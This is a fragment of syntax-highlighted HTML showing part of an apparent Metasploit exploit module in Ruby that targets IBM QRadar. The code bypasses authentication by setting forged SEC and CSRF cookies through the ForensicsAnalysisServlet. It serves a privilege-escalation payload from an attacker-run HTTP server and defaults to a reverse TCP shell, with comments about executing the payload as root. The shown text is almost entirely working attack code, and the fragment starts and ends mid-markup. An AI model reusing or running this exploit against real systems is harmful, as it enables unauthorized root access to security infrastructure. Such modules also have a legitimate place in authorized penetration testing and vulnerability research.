class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-60\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-61\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;DefaultOptions&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-62\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;SSL&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-63\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># we can only run shell scripts, so set a reverse netcat payload by default<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-64\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># the payload that will be run is in the first few lines of @payload<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-65\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;PAYLOAD&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;generic\/shell_reverse_tcp&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-66\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;DisclosureDate&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;TBD&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;DefaultTarget&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-69\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">register_options<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-70\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-71\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Opt<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">RPORT<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">443<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">OptString<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">new<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;SRVHOST&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;HTTP server address&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;0.0.0.0&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">OptString<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">new<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;SRVPORT&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;HTTP server port&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;4448&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-75\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-76\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-77\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">check<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-78\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">begin<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-79\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">send_request_cgi<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-80\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;uri&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/ForensicsAnalysisServlet\/&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-81\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;method&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;GET&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-82\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-83\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">code<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">403<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-84\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">CheckCode<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">Detected<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-85\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-86\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rescue<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Rex<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">ConnectionError<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-87\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">CheckCode<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">Unknown<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-88\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-89\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-90\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">CheckCode<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">Safe<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-91\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-92\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-93\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-94\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># Handle incoming requests from QRadar<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-95\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">on_request_uri<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cli<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-96\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print_good<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Sending privilege escalation payload to QRadar&#8230;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-97\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print_good<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Sit back and relax, Shelly will come visit soon!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-98\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">send_response<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cli<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-99\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-100\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-101\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-102\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-103\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-v\">set<\/span><span class=\"crayon-sy\">_<\/span>cookies<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-104\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">sec_cookie<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SecureRandom<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">uuid<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-105\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">csrf_cookie<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SecureRandom<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">uuid<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-106\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-107\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">post_data<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;#{rand_text_alpha(rand(12)+5)},#{rand_text_alpha(rand(12)+5)},&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-108\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;#{@sec_cookie},#{@csrf_cookie}&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-109\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-110\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">send_request_cgi<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-111\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;uri&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/ForensicsAnalysisServlet\/&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-112\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;method&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;POST&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-113\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;ctype&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;application\/json&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-114\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;cookie&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-115\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;vars_get&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-116\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-117\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;action&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;setSecurityTokens&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-118\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;forensicsManagedHostIps&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-119\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-120\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;data&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">post<\/span><span class=\"crayon-sy\">_<\/span>data<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-121\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-122\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-123\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">code<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-124\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">fail_with<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Failure<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Unknown<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Failed to set the SEC and QRadar CSRF cookies&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-125\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-126\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-127\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-128\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">exploit<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-129\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print_status<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Attempting to exploit #{target.name}&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-130\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-131\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># run step 1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-132\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">set_cookies<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-133\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-134\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># let&#8217;s prepare step 2 (payload) and 3 (payload exec as root)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-135\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">payload_name<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">rand_text_alpha_lower<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">rand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-136\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">root_payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">rand_text_alpha_lower<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">rand<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-137\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-138\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">datastore<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SRVHOST&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;0.0.0.0&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">or<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">datastore<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SRVHOST&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;::&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" 